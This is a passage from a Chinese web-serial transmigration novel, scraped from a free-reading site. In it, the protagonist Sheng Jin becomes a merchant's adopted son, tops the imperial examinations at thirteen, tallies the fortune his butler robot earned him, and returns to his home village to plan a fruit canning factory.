盛瑾听着白老爷的家产,他回想起盛昀七年挣了上千万两的家产,心里不禁感叹道:“白老爷真是个有能力的人啊!年收入一百四十多万两,这要是放在现代妥妥的财阀啊!” 盛瑾此时想到了盛昀,白老爷这赚钱速度都快赶上盛昀这个管家型机器人的能力了,毕竟盛昀手底下的生意都是无本买卖。 盛瑾对于白老爷所说的家产倒是没有多少动心,毕竟他的家产价值上千万两,不过他倒是没有仔细看过自己家产的明细,于是他心里决定等考完秀才找个时间,好好看看盛昀到底为他挣下了多大的家产。 白老爷见盛瑾一直不说话,以为盛瑾不同意,整个人都有些沮丧了,他叹了口气,道:“罢了,罢了,盛公子,你若不愿,那就当我从未提过此事吧。” 盛瑾想着能让白老爷宁可付出大半身家将自己的女儿托付给别人,可见白家族人是怎样一群才狼虎豹的存在,他的脑海中想起白滢婷乖巧可爱的样子,这可不是白滢婷能应付的存在啊! 盛瑾见白老爷正要起身离去,语气缓慢,道:“白老爷,为什么选择我,你就不怕我护不住她吗?又或是我拿钱跑了呢?” 白老爷听到盛瑾的话,便知他松口了,眼神坚定,道:“你是我见过的人中最合适的人选,你有才华,假以时日,必成大器,而且你看着婷儿的目光充满疼爱,我相信你护好她的。” 白老爷看了一眼盛瑾,眼神中透露出一丝满意,道:“我拿出家产时,你的眼神没有什么变动,这就证明你拥有的家财可能比我给的还要多,那么我就不用担心你会为了银钱伤害婷儿,更别提你会拿钱跑了这种无稽之谈了。” 白老爷是一个精明有远见的人,他相信自己的眼光,他愿意把自己的一半身家压在盛瑾身上。 盛瑾看了白老爷许久,觉得和白滢婷成为兄妹不是什么难以接受的事情,而且他感觉有个白滢婷这样的妹妹应该还不错。 盛瑾虽是这么想的,但心里还是起了点逗弄白老爷的坏心思,他故意端起茶杯,缓慢的喝了口茶,在白老爷忍不住要脱口而出时,站起身,行一礼后,笑着道:“义父,这认亲宴该这么办呢?” 白老爷愣了片刻后,反应过来,满脸笑道:“好,好,好啊!谁想到我白仲善晚年还能得一义子,瑾儿,我知道你是要科举出仕的人,这认亲宴,我们就不办了,不好让人耻笑你认了一个商贾为义父,我们自己心里清楚便好了。”他从容的改口称盛瑾为瑾儿,毕竟盛瑾都改口叫他义父了,他不好再称他为盛公子了。 白老爷本来就没抱着成功的希望来找盛瑾的,如今成功让盛瑾成了他的义子,自己要为他着想,再者除了好好培养感情外,其他都是假把式,没有牢固的情感依靠再怎么盛大的认亲宴都是没用的。 盛瑾闻言,眼神中闪过一丝笑意,道:“怎么能不办认亲宴,不办认亲宴,怎么让别人知道我成了义父的义子,以后我怎么光明正大的保护妹妹呢,义父不必在意这些,左右不过是虚名罢了。”他见白老爷这么为他仕途着想,心里觉得认个义父也没什么不好的。 白老爷听见盛瑾这么说,心情也好了起来,道:“那就依着瑾儿,折个中,这次认亲宴 6. 第 6 章 《知否盛老太太的双生子》全本免费阅读 清晨的县城内人来人往的,盛瑾一行人在人群中格外的显眼,他看了一眼这个地方,这是他的这具身体的原籍所在县城,从这里出发要不了几天就能到达他的初始地桃花村。 盛瑾通过这半年在扬州城的生活,扩展了自己对这个朝代的了解,打算改变一下他的计划,他觉得光靠参加那些大型城镇的文人宴会来结交人才,积累人脉是远远不够的,毕竟一次恩情并不能让对方一直站在自己这边。 盛瑾想到了在古代宗亲和姻亲有很大的作用,但他是很大概率不会和这个朝代的女子成婚,所以姻亲这条路在他这里行不通,那么还剩下宗亲这条路了,很可惜的是他这具身体是个孤儿,哪来的什么亲人啊!不过这对于他而言也是一件好事,如果他有亲人,那么他一来到这具身体时便会他们发现异样,到时候也有可能会被人当初妖孽之类。 盛瑾有些苦恼,既然宗亲姻亲都不能了,那他还有什么办法提升自己在这个朝代的人脉呢,突然,他想到了桃花村的村长牛叔以及白家父女,这具身体在桃花村待了六年,桃花村的村民多少对他也有些感情的。 盛瑾想着既然没有宗亲,那么他可以培养自己和桃花村村民的感情,若是他带动桃花村的发展,村民们必定对他感恩戴德,到时候他便可以在桃花村建立书院请好的夫子来教到桃花村的孩子们读书习字,未来这些孩子都会念及他的恩情,若是有好的读书苗子,他便出资赞助对方科举考试,将来对方考中进士,无论是对方的父母还是他都会对自己感恩戴德的,虽然时间是长了点,但是这可比他结交人才来的好多了,毕竟这可是实打实的人脉啊! 至于那些大型城镇的文人宴会,盛瑾还是要参加的,除了这些宴会外,他还要拜访一些大儒,与对方谈论书籍,并且给一些好的书院捐献笔墨纸砚银钱等,支助寒门贵子,在读书人中打出自己的名声来。 盛瑾在马车内这样想着,觉得等考完秀才便清点一下他的家产,毕竟他觉得自己的计划可能会需要一大笔资金,看看盛昀给他挣得财产有多少,能不能在他完成这项计划后还有余钱,让他在这个朝代富足的生活下去。 过了一会儿,盛瑾的马车行驶到了一处院子,这个院子是盛昀很早以前买下来的,他正好可以在这里安心的科考,在他安心备考时,另一边的扬州城内,白老爷打算过几日带着白滢婷去庙里烧香拜佛为盛瑾祈福。 日子很快就到了科举考试这一天,考场外人山人海,考生们都在考场门口排队,挨个给衙役搜身和检查考试用具,防止作弊。 盛瑾拿着一个装着考试用具的小箱子,跟在别人后面排队,等待衙役的检查,不到一会儿便到他被衙役搜身和检查考试用具了。 等衙役给盛瑾检查完后,他过了门口,便有另一位衙役给他递一个牌子,而后放他进去入考场了。 那位衙役告诉盛瑾考场的规则,那个牌子上面是他的考号,他需要按着考号找到了自己的考舍,然后,整理好他的东西,随后静候开考提示声响起。 不过在盛瑾寻找自己考舍时,发现厕所附近还有考舍后,此时的他无比庆幸自己的考舍离厕所很远,不然的话,他怀疑自己坚持不到考完便会晕倒。 盛瑾找到自己的考舍后,便将考试用具一一拿出来放在桌子上,开始坐在桌子后,等待考官发卷子。 等时辰到后,所有的考生已然一副整装待发冲向战场的样子了,考官开始发卷子,衙役在考官发完卷子后,敲响考试钟声,考生开始答题。 在拿到考试卷子后,盛瑾先看了一下题目,然后开始答卷子,他仅用了一半的时间就将卷子全部答完了,这时他觉得自己有点儿欺负人,毕竟他在这里考试就像是青铜和王者打架,虐菜呢。 盛瑾想到这里时有些尴尬的摸了摸自己的鼻子,不要脸的暗示自己,想着:“没事,我生理年龄就是十三岁,谁也不知道,我还是个孩子,管他的。” 过了一会儿,盛瑾平静下来在自己的考舍上等待收卷,衙役敲响了收卷的钟声,考生停笔,考官们开始收卷了,等他走出了考场后,便看见有很多考生倒在地上起不来。 盛瑾看着这群考生,不由得感慨道:“还好我练武,不然哪来的体力科举考试啊!这些考生的体力是真不行啊!接下来还有两场考试呢,他们要如何撑下去啊。” 没错,本朝的秀才需要经过县试、府试和院试三个阶段,只经过县试、府试这两个考试的,被称为童生试,考过了便有童生的功名,只有院试合格者才能被称为生员,也就是秀才,因此院试也是最难得一个环节,它是由各省学政主持,学政又名提督学院,故称这级考试为院试。 盛瑾在参加科举考试时,就已经算准了科举的时间,等他考完秀才后,没两年就到三年一考的举人考试,他打算在自己十五岁时考中举人,毕竟对于他而言,自己已经学习了七十年,这些科举考试难不倒他。 一切和盛瑾预想的一样,没几天成绩就出来了,他在县试中考了第一名,而在接下来的考试里,也不出他所料,分别拿了个府试第二、院试第一的成绩,夺得了案首。 县令为此还特意在自己举办的庆功宴上表扬了盛瑾,当他知道盛瑾只有十三岁时,他的脸上写满了不可置信,毕竟盛瑾看起来像十五六岁的翩翩少年郎。 盛瑾在考中秀才的当天就给白家父女寄了封信,告知他们这个好消息,随后又在空间内联系盛昀想要了解自己的家产有多少。 等盛昀将盛瑾的总资产全部报告完后,他吓了一跳,关是田产就有三十七万八千亩,其中包含了庄子217个,每个庄子至少含有七百亩水田,除此之外他还有九百二十五间铺子和五十三间院子。 由于盛瑾要科举出仕,所以前两年就交代盛昀要改变了经营模式,这两年盛昀慢慢将货源从原本直接在盛瑾空间拿改为了在外面进货,毕竟他可以做无本买卖,等他去世了,谁给这些铺子提供货源呢。 盛昀将铺子分为三种经营方法,其中将三百间铺子出租出去,另外三百间铺子以房租和银子入股分三成利润,最后三百二十五间铺子由盛昀经营,这些铺子每年收入在五十七万两左右,而零散的田产则是以税后收入粮食的三成为租子,租给了农户耕种,每个庄子一年收入至少七百两,这么算下来,田产加庄子的年收入二十七万两左右。 盛瑾的田产和铺子每年收入在八十四万两左右,就算除去这些房产中仆人的开销每年也有八十一万两左右的收入,这些收入虽然没有白老爷的收入高,但是也算是本朝最富有的人群之一了,何况盛昀还给他留了七百万两白银,可见盛昀在最初的五年里年收入至少达到了三百万。 盛瑾看着这个数字,整个人都木愣住了,他觉得相对于之前的收入,盛昀此时已经算得上是收敛了,这些家产让他有了一种现在就躺平的冲动,毕竟盛昀实在是太给力了啊! 盛瑾觉得如果盛昀此时此刻出现在他面前,他肯定会抱着盛昀狂亲的,不得不说盛昀算是躲过一劫了。 盛瑾通过空间里的电脑联系了盛昀,让他不用再扩充资产了,如今这样就行了,毕竟他以后是要科举出仕的,过多的资产容易被别人盯上,即使他现在的资产已经够多了。 其实盛瑾名下的产业大多都和高利润商铺无关,很难和别人的生意产生争执,之所以之前有那么高的收入也是因为他的货物不要钱加上盛昀的能力和机器人的速度。 盛瑾了解完自己资产和交代完盛昀事情后,便叫来了盛俊,让盛俊挑五个人明天陪他回桃花村一趟,他打算回去建一座院子长期居住。 清晨的桃花村,村长正在家里一边编竹筐,一边思念着盛瑾,嘴里喃喃道:“瑾哥儿如今也该十三岁了吧,不知道他在哪里,过的怎么样啊!”由于盛瑾是个孤儿,再加上他本人就在县城里,因此衙役没有来桃花村报喜,所以村长不知道盛瑾回来了。 村长妻子看着村长这副样子已经见怪不怪了,叹了口气道:“你就别担心了,当初那位老爷的穿着看起来就非富即贵,瑾哥儿跟着他肯定吃穿不愁,况且那位老爷是收瑾哥儿当弟子的,能亏待了瑾哥儿不成吗?你就放宽心吧,再说了瑾哥儿不是说他还会回来的吗?没准瑾哥儿正在回来的路上呢,这也说不准吧。” 其实说到盛瑾,村长妻子心里也是会担心的,毕竟也是自己看着长大的孩子,只是现下人不在跟前,也不知道他怎么样了,不过,再怎么担心也没办法不是嘛,只能这样说着安慰一下自己和老伴。 盛瑾一行人正行驶着两辆马车来到了村口,一眼就可以望见那连成一片的田地,一群小孩子在一棵大树下玩,他便让马车行驶到了树下,小孩子被这二辆马车给惊到了,等盛瑾从马车上走下来,小孩子们又一次惊呆了,毕竟他们是第一次见到这么好看的人和马车,一时间竟看呆了。 盛瑾看到一群小孩统一呆滞的表情,觉得甚是有趣,便轻笑了一声,这声轻笑正好将孩子们唤了回来,他们回过神来盯着盛瑾看,起初他们的表情好像在说:“这人真好看啊!”后面他们的表情又变成了:“这人是谁?为什么来我们村子?” 盛瑾看着这群小孩们的表情犹如变戏法一般,心里不禁感慨道:“这群小孩的表情真丰富啊!” 盛瑾走过去,假意从荷包中取糖果,实则是从空间内拿糖果,空间的这功能也是他无意中发现的,他拿着糖果对着小孩子们,面带微笑,语气柔和道:“你们可以带我去找一下村长吗?作为报酬,我会给你们糖果。”他不确定村长是否在家,看到这些孩子时便想询问一番。 其中一个六七岁般大的小孩子闻言,瞪大了双眼,惊讶道:“你为什么要找我祖父吗?我不记得你来过我家啊!” 盛瑾反应过来,这是村长的孙儿,轻声道:“你是狗娃吧,我是你盛瑾叔叔,小时候我还给你送过礼物呢,那时候你才一点点大,如今长得这么大了啊!” 盛瑾还记得当初离开时,见过村长家的孙子,隐约还记得,村长本着贱名好养活的想法,给那个孩子起名为狗娃。 狗娃想了一下,似是想起什么般,开心的大喊道:“你是盛叔叔,祖父和祖母常在家里念叨的人啊!走,我带你去找我祖父祖母,他们看到你一定会很高兴的。” 盛瑾听完狗娃的话,愣了一下,心中一暖,他属实没想到自己离开那么久了,村长他们居然还念着自己。 狗娃刚说完话就想用手拉着盛瑾的衣服,拖着盛瑾跟他走,但是他手刚伸到一半便停了下来,因为他看到自己的小手脏兮兮的,不好意思伸手去抓盛瑾的衣服,毕竟盛瑾的衣服看起来就非常的贵,于是他有些脸红,道:“盛叔叔,我在前面带路,你们在后面跟着。” 狗娃一说完,便飞快地朝一个方向跑去,其余的孩子见狗娃跑了,也就跟着跑,盛瑾笑着摇摇头,对着后面的人说了句“跟上吧。” 不一会儿,狗娃就跑到家门口,他累的大喘气,歇了一下,接着大喊道:“祖父,祖母,盛叔叔回来了。” 在家的村长楞了一下,对着村长妻子说:“为什么我听到了狗娃的声音,他好像再喊瑾哥儿回来了。” 村长妻子也楞了一下,转脸大喜,道:“什么好像,那就是,狗娃说瑾哥儿回来了,快,快出去看看去。”说完,她便第一个冲了出来。 村长妻子一到大门口就左看右看的,很快就看到不远处的少年和马车,她的眼眶瞬间变得红润起来,想要去迎接盛瑾,但是她看着对方的样貌,心里又有些不确定,毕竟盛瑾现在已经十三岁了,模样也发生了很大的变化。 紧随其后的村长显然和他妻子想的一样,不过他反应过来对着狗娃道:“狗娃,你说瑾哥儿回来了,是不是前面那个呢?” 狗娃看着自己爷爷质疑他,脸上有些不开心,但还是老实的回答道:“是的,是他自己说他叫盛瑾,想要找村长。” 村长妻子听到狗娃的话,喜极而泣,道:“回来了,真的回来了,官人,瑾哥儿真的回来了。” 村长满脸笑容的看着盛瑾,等盛瑾一行人来到门口时,他本是想一把冲过去抱住盛瑾的,但是他又想到自己和盛瑾七年没见了,害怕突如其来的拥抱会吓到盛瑾,便站在原地一动不动,直到盛瑾看出他的想法后,便上前抱着他,语气柔和道:“我回来了,牛叔。” 村长再也按耐不住自己内心的喜悦,回抱盛瑾,语气中洋溢着喜悦,道:“回来就好,回来就好啊!” 过了一会儿,村长用手抓着盛瑾的肩膀,将盛瑾从上到下打量了一番,道:“长高了,瞧着你这些年过的不错,我也就放心了。” 一旁的村长妻子看着村长和盛瑾,满脸笑容,道:“官人,瞧你高兴的,都忘了你们还在外面呢,还不快将瑾哥儿带进屋去。” 盛瑾闻言看向村长妻子,面带微笑,语气中透露出一丝亲近,道:“牛婶,好久不见了,这些年你们过得还好吗?” 村长妻子闻言,脸上的笑容更灿烂了,她笑着道:“这些年我们过的都好,如今看到你过的不错,我们这心里也高兴。” 村长此时的心情也平静下来了,看着盛瑾道:“瞧我高兴的都忘了请瑾哥儿你进屋了,来来来,跟牛叔进屋,和牛叔好好聊聊你这些年的经历。”说吧,便要拉着盛瑾往家里走。 盛瑾闻言,便对着村长妻子,道:“牛婶,我带了礼物来,你告诉盛俊要搬到哪,他帮你搬过去。” 盛瑾身旁的村长下意识的拒绝道:“瑾哥儿,你回来就好,那还需要带什么东西呢,快快收回去,我这什么都有,不需要。” 盛瑾对于村长的话 7. 第 7 章 《知否盛老太太的双生子》全本免费阅读 盛瑾一行人离开的第二天,村里就像是炸开了锅一般,村民们带着满肚子的好奇心来到村长家想要打听盛瑾的事情,毕竟他们从来都没听说过村长认识什么有钱人啊! 其实村民在看到盛瑾那两辆马车时,便想上村长家打听一二,但碍于人还在村长家呢,不好意思上门打扰,也怕惊扰了贵人,便只能按耐住自己的好奇去干活了。 好不容易等盛瑾一行人走了,但天都黑了,也不好意思上门来打扰村长夫妇休息,便忍到了今天早上后再也忍不住才来找村长。 村长看着一群村民你一言我一句的,只感觉四周叽叽喳喳的,他的脑壳一阵疼啊!都不知道这群村民想问什么,于是他语气中带了些许怒火,大声道:“安静,安静,你们一大早的没事干嘛,王家大郎你家地里的活都干完了嘛,还有你李家五郎你也不用干活了嘛,一个个的,没事堵我家门口干嘛,闲着没事干嘛。” 村民们被村长给震住了,现场安静了一会儿,突然,一位村民见村长表情缓和了,便出声道:“我们就是想问问村长,你家昨天来的客人是谁啊!那两辆马车好威风啊!不知道他来找村长你干嘛。” 村长眯了眯眼睛,想着盛瑾也要回来住,索性就将事情原原本本的告诉村民们,于是他便直接开口道:“是瑾哥儿回来了,他如今是秀才了,打算回村里建房子住,我按每亩三两卖了块山附近的地给他建房子。” 当听到村长说那是盛瑾时,村里人还没反应过来,过了一会儿,他们一脸惊讶,显然是想起了盛瑾的身份,可惜他们还没完全缓过神来。 又过了一会儿,村民们的表情犹如被炸弹炸了一般,惊呼道:“瑾哥儿,是老猎户家的那个瑾哥儿吗?他成秀才了吗?” 村民们见村长点头,当即开始叽叽喳喳的相互讨论起来,比起之前吵闹的场面简直有过之而无不及,对于他们而言,村长以低价卖给盛瑾田地建房的事情远不如他中秀才这件事情给他们的吸引力更大,毕竟盛瑾买的不是农田,再加上山附近的地一般都没有人愿意去那住,能买了换银子对于他们而言更好。 过了一会儿,在场有些脑子转的快的妇人想到了秀才免赋税,本朝的税收只有5%,虽然不高但是一亩地也要收二十五到五十文左右,蚊子再小也是肉啊! (这里设定秀才享有五十亩田产免税,举人享有三百亩田产免税,进士享有一千亩田产免税,官员无论多大都只有一千亩田产免税,因为本朝官员属于高薪职业。) 此时,没有人开口话,这些村中妇人们并非看不懂场合,她们知道这时候提人家名下免税田产名额不太好,便没有向村长开口询问,可偏偏每个村子都有几个不要脸的人存在。 就在村长打算散场时,一位妇人突然开口道:“我们村的瑾哥儿既然成了秀才,那他不是可以免赋税嘛,他怎么说这件事呢?大家都是一个村子的,自是要互相照顾。” 村长脸色一黑,但是他一个男子不好骂女子,而村长妻子从村长开始说话时便走出来了,她知道对付这样的妇人只能自己出马。 村长妻子面色难看,直接开怼道:“李四家的,这是瑾哥儿的事,与你何干啊!当初瑾哥儿在村里时,是用你的了,还是吃你的了,你咋好意思开这个口啊!” 村长妻子刚说完那位妇人,眼神将在场的妇人都扫视了一遍,随即冷着声道:“我话放在这了,瑾哥儿和叔(老猎户)在村里可没有什么亲戚,叔(老猎户)已经走了,瑾哥儿在这个村里也没什么亲人,人家犯不着非要住在这儿,说句不要脸的话,瑾哥儿之所以住在这还是念及我们家和叔(老猎户)的感情,要不然一个秀才爷他想住哪就住哪。” 村长妻子此话一出,那些个有心思的都被恰没了,他们突然反应过,盛瑾在村里可没什么亲人,他也不是非要住村里的,至于那个李四家的妇人更是不敢说话,可见村长妻子在村中妇人中的地位了。 村长看着这些个人的算计,也没什么心情在与他们聊下去了,只是冷声道:“你们可想好了,若是惹出什么事情气走了瑾哥儿,可没有第二个秀才来住桃花村了。”说完,便找了个借口了让村民们散场。 等村民们都走后,村长气愤道:“这都是些什么人啊!以前瑾哥儿落难时,也不见他们送口吃的,如今瑾哥儿起来了,到都是起了心思了。” 村长妻子安慰道:“村里大多数都是好的,但每个村子难免有几颗老鼠屎、搅屎棍,你不能一棍子打死所有人啊!” 村长感叹道:“还是瑾哥儿有先见之明啊!要不然,就建房子那块地的事还有的吵了,你没看到李四家的,听到我低价卖地给瑾哥儿时,她脸色当即变了变,也不想想那块地除了瑾哥儿外还有谁会买。” 村长想起刚才的场景,突然脑子一激灵,神情严肃的对着村长妻子,道:“村里那些和瑾哥儿相差不大的姑娘,娘子你平日里看好点。” 村长妻子当即反应过来,一脸不可置信,道:“不会吧,不会有那脑子不清楚的吧,瑾哥儿是秀才公啊!还有银钱,不是他们这泥腿子能配的上的。” 村长阴沉着脸,道:“难保有那脑子坏了的,想着用什么手段攀上秀才公,一家人就衣食无忧了,当不成正妻,还不能当妾嘛。” 村长妻子一脸严肃道:“我一定会看紧她们的,若真出了这事,咱们可真就对不住叔(老猎户)了。” 村长拉着村长妻子的手,感叹道:“我昨天看到瑾哥儿,心里头便一直高兴着,这些年我一直担心他,不知道他有没有被人欺负,可是当时那种状况,瑾哥儿若是留在村里必定会过的很苦的,现在看到他过的这么好,我便放心了。 村长妻子看着村长笑道:“是啊!见瑾哥儿如今这般出色,想来当初那位老爷定是悉心教导过的,更何况他还将家财给了瑾哥儿,可见他是将瑾哥儿当成自己孙儿一般照顾,我们这些年的担心也算是有了着落了,可惜啊!那位老爷已经去世了,要不然说什么我们都要随瑾哥儿去感谢一下他。” 村长点了点头,表示赞同村长妻子的话,过了一会儿,他神情严肃道:“村里妇人们的事,还是要麻烦娘子看着了,不能临了了,给瑾哥儿添烦恼,我欠叔(老猎户)一条命啊!别的地方,我护不住瑾哥儿,要是在村里,我还护不住瑾哥儿,那我真真是对不住叔(老猎户)了。” 村长妻子安慰道:“我知道你的心思,你我夫妇一体,你想做的事情,我一定帮你,我会看着她们的,你放心吧。”紧接着村长夫妇又互诉一遍心肠,而另一边作为中心人物的盛瑾却对此一无所知。 几天后,盛瑾的建造型机器人就来到村子里开始给他建造院子,在建造房子前,机器人们都会竖起一座墙,再开始建造,防止他人看到里面的状况。 因此村里人即使在好奇,也无法得知里面的情况,由于房子是机器人建造的,所以速度特别的快,只用了三个月,院子就建好了这也是后话了,此时盛瑾的信件已经到了扬州城白府中了。 清晨,白家里,白滢婷正手握着盛瑾的信件,脸上挂满了笑容,难掩惊喜,语气激动道:“太好了,太好了。” 白滢婷随即看向一旁的丫鬟,道:“去,快去找我父亲回来,告诉他,我有重要的事情要讲与他听。” 丫鬟闻言,便起身前去寻找白老爷了,一旁的常嬷嬷在之前便知道盛瑾要考秀才的事情,看到白滢婷如此兴奋,便猜到八成是盛瑾考上秀才了,毕竟能给白滢婷写信的只有盛瑾,而且能让白滢婷如此兴奋的消息很大概率是盛瑾考中了,要不然白滢婷不可能看完信后如此开心。 等白滢婷平静下来后,看着常嬷嬷还在一旁一脸无奈的看着她时,不好意思的笑道:“让奶娘见笑了,主要是哥哥考上了,还是案首,我心里头高兴,便顾不上旁的了。” 常嬷嬷听到案首二字时,脸上露出些许震惊,别人不知道,但常嬷嬷的父亲是秀才,对于科举一事,她还是了解的,考秀才本就不易,盛瑾考中案首就更不易了,更何况他才十三岁,若无意外,他日必能中举入仕啊! 常嬷嬷随即反应过来,眼含笑意的看着白滢婷,道:“恭喜老爷,恭喜姑娘了,这可是件大喜事啊!” 常嬷嬷是打心底里为白家父女开心,毕竟一个是对自己有恩的东家,另一个是自己奶大的姑娘,她打心里希望他们好。 此时此刻,常嬷嬷在心里感慨道:“姑娘这是因祸得福啊!要是没有当初那件事也遇不到公子,姑娘也不会有公子这个义兄,就是不知道白家族人知道后会不会肠子都悔青了。” 常嬷嬷知道白老爷之所以对白家族人忍让再三,很大一部分原因是为白滢婷,另一小部分原因是为了白老爷父母在白家村的坟,这也是白家族人为什么敢对白老爷得寸进尺的原因。 白滢婷是白老爷的独女,他害怕自己去世后,白滢婷没了娘家撑腰被人欺负,所以他才会在白家族人和他联系时,再次接受白家族人,并且给了白家族人许多扶持,为的不过是他去世后,白家族人能看在自己以往对他们的帮助上,在白滢婷受婆家欺负时能帮上一把,让白滢婷的婆家知道她是有宗族护着的,这些常嬷嬷都知道,起初她也是如白老爷这么想的,但这些年下来她算是看透了白家族人,并对白老爷天真的想法呲之以鼻。 尤其在白滢婷被绑架的事情上,白家族人的做法让常嬷嬷心寒和害怕,当初白滢婷失踪的事情被瞒的严严实实的,可才过了五天,白家族人便找上门了,说这件事情和白家族人没关系她是打死都不相信的。 常嬷嬷一想起这件事情,整个人都发冷,心里想着白家族人不只是靠不住,骨子里还阴毒着呢,对白滢婷下手都没顾及血脉亲情,她十分肯定,如果白老爷不在了,白家族人不仅不会照顾白滢婷的,还会犹如豺狼虎豹一般,扑上来瓜分白老爷的家产,没准还会为了白老爷的家产再次对白滢婷下毒手 8. 第 8 章 《知否盛老太太的双生子》全本免费阅读 三个月后,盛瑾在桃花村的院子建好了,他和盛俊先来看看自己未来的住所,至于其他机器人则被他派去收拾东西,准备搬进桃花村了。 盛瑾来到了自己的院子面前,观看着整个院子清新不落俗套,白色灰泥墙结合浅红屋瓦,连续的拱门和回廊,挑高大面窗的客厅,让人心神荡漾。 这个院子设计的很好,最让盛瑾满意的便是卫生间和厨房的设计,十分的方便,类似现代的感觉,可以拧开水龙头,水自动流出,厕所里的厕所坑也是冲的,垃圾会流到院外的一个坑里发酵成为肥料,只要雇佣人运走就行了。 盛瑾瞧着这院子是越看越满意,心里不由得感叹道:“不亏是建筑性机器人啊!这建筑能力是一等一的强啊!” 等盛瑾搬进院子的第二天,便亲自上门邀请了村长夫妇带着他们孙子一同来自己的院子做客。 村长夫妇当然很乐意,当即决定现在就带着孙儿上门,等他们来到这个院子时,整个人都惊呆了,村长在心里感慨道:“就算是县上最好的院子也比不过瑾哥儿这个院子吧。” 村长夫妇一边走,一边仔细的观察起盛瑾的院子,他们的心里不由得感慨道:“这个院子真漂亮,要不少钱吧,瑾哥儿是真赚钱了。”此时村长也不在纠结盛瑾掏银子买地建房的事了。 过了一会儿,盛瑾便邀请村长夫妇去大厅喝茶,但村长妻子想再看看便拒绝了盛瑾的邀请,而村长的孙儿狗娃实在是喜欢在盛瑾的院子里玩,便也没有随村长一起进入大厅。 在大厅内,盛瑾坐着喝了口茶,看了眼村长,他今天不单单是请村长他们上门做客的,还有一件关于桃花村的事情要和村长商议。 盛瑾在搬入桃花村时便在想这件事情,在他派人来桃花村建房子时,就已经派人来调查过桃花村的情况了。 之前盛瑾打算建设桃花村不是说着玩得,当初他在计划时,便已经考虑过桃花村村民的情况,毕竟谁也不想培养一群白眼狼不是嘛。 盛瑾根据当初这具身体遗留的记忆得知,当初老猎户去世时,村里的人多多少少都是搭把手的,要不然光靠小盛瑾也无法办到这些事情,虽说不是什么大的恩情,但到底还是帮点了,这也能看出这个村子里的人大多朴素友好的,当然,每个村子都难免有几颗老鼠屎般的存。 这些人的存在并不妨碍盛瑾的计划执行,而且桃花村有一点非常有利于盛瑾,那就是村长夫妇对他的感情极深,有村长管着他也能安心些,更何况只要他为桃花村村民带来利益,那些个不安分的村民就不敢犯到他面前来,因为都不用他出手,桃花村其他村民就会亲手教他们做人。 通过这些天机器人们的探查,盛瑾发现桃花村里的果树极多,他查到了最容易实现水果罐头的做法,想要在这里建个罐头厂。 等罐头厂发展起来了,村民们手上有了银钱,盛瑾就可以牵头建书院了,至于他为什么不能全出这笔建书院的银钱,那是因为他突然想起了“升米恩,斗米仇”这句话,他可不想最后变成村民们认为这是他应该做的,人总是要付出一些才会懂得珍惜,不过建书院这件事可能要过一两年再提了,毕竟要让村民们看到真金白银,他们才会认可他的决定。 盛瑾想到这里嘴角微微翘起,心里想道:“就将建书院的时间定在我考中举人后吧,这样也能加深我在村民心中的信服力。” 过了一会儿,盛瑾面色不变的询问道:“牛叔,我发现后山上有很多果树,平日里这些果子都是怎么处理呢?” 村长没有听出盛瑾的意思,他直接了当道:“就是一些果子罢了,我们村里多的是,想吃就摘,要不然就让果子烂在地里,这些果子又不值几个钱。” 盛瑾见村长这么说,便直接开口道:“牛叔,我瞧着这些果子烂了实在是可惜啊!要不然,我在村子里建一个罐头厂,招村里人做工,给村里人增加收入,你觉得怎么样呢?” 村长听到盛瑾的话瞬间就激动的站起来,虽然他不知道罐头厂是干什么的,但不妨碍他听出了盛瑾要给村里的人提供工作,这可是一件好事啊! 村长随即眼中又闪过一丝犹豫,道:“瑾哥儿,你要那些个果子干什么,这些果子不值钱,莫要为了给村里面的人提高工作而损失自己的银钱,你在怎么有钱也不能随意霍霍啊!” 盛瑾见村长这么为他着想,面带笑容,语气柔和,道:“牛叔,你放心吧,我没那么傻,不会做那种明知亏本的生意。” 村长盯着盛瑾许久,发现盛瑾没有在和他开玩笑,于是他的表情又变回了最初兴奋的样子,激动的询问道:“那瑾哥儿你要几人啊!” 盛瑾思索了片刻,道:“都要,只要是吃苦耐劳的,我都要了,可是我对村民们不太了解,到时候可能需要牛叔牛婶出面帮我筛选一下人选了,至于工钱嘛,我记得茶场采茶工一天七十文,我给每个人一个月二千三百文钱,每个月每天要干三时辰,超过三个时辰,多半个时辰多给四十文,多一个时辰多给八十文,若是遇到农忙的日子,我会给他们放假的,放假那天也有钱拿,若是有事要提前告假,告假一天少七十五文,可以吗?” 村长听完盛瑾的话,神情严肃的向盛瑾保证道:“瑾哥儿你放心,我一定给你好好选,那些个泼皮无赖的统统滚蛋。” 村长心里想着:“一个月二千三百文,超过时辰还补银钱,一年至少就是二十七两六百文,这比镇上的工钱还高,还能告假给你留工作,而且还不妨碍种田,若是不乐意干的,都给老子滚蛋。” 村长听到盛瑾这个重磅炸弹,内心激动不已,想要立刻站起来就走,不对,他还真准备走了。 盛瑾见状,眼中闪过一丝笑意,道:“牛叔,不着急,罐头厂还没建出来呢,等我将它建出来后再招人。” 村长闻言,反应过来,盛瑾这边罐头厂还没影呢,怎么招人工作啊!他的脸有些微红道:“哈哈,是牛叔太着急了,这是好事啊!抱歉,瑾哥儿。”接着他又询问盛瑾要在哪里建罐头厂。 盛瑾告诉村长建罐头厂的地点,他对此没有任何意义,甚至决定第二天陪着盛瑾去衙门办理手续,又过了一会儿,村长妻子来了,她一脸疑惑的看着满脸兴奋的村长,不知他为何如此高兴,但也没有当着盛瑾的面询问他,只是问村长要不要回去。 村长觉得自己在这里坐着也没什么意思了,便要和妻子一起回去,只是狗娃被留在盛瑾这里过夜了,原因是狗娃在盛瑾的院子里玩的太开心了,村长叫他离开时,他两眼泪汪汪的舍不得离开盛瑾的院子,于是盛瑾便开口留下了狗娃,村长见盛瑾开口了也没说什么就同意了。 夜晚,村长夫妇在家中谈论此事时,村长妻子一脸兴奋道:“真的,瑾哥儿真是这么说的,那真是太好了,到时候也能让儿子儿媳回来了。” 村长看着妻子满脸兴奋的样子,笑道:“是啊!他们回来,我这心也放下了,狗娃也就不用一天天的问爹娘什么时候回来了。” 村长妻子听到村长这么说,眼角有些湿润道:“官人说的对啊!再者,这在外头的,始终不比在家里好,还容易被人欺负了去,不如在家,有人帮着。” 村长点点头道:“对,对,对,还是在家好,不过这事是瑾哥儿好心,找人的事我们要好好上点心,务必给瑾哥儿办好了。” 村长妻子白了村长一眼,肯定道:“那是,这可是村里的好事,可不能让那些个搅屎棍给毁了,一定要办好,还有赶紧给哥儿媳妇送消息去。” 村长笑道:“不急,还有几个月才开始招人呢,现在太晚了,我明天我陪瑾哥儿去衙门办事时,再去找他,娘子放心,我心里头有数,瞧你急得。” 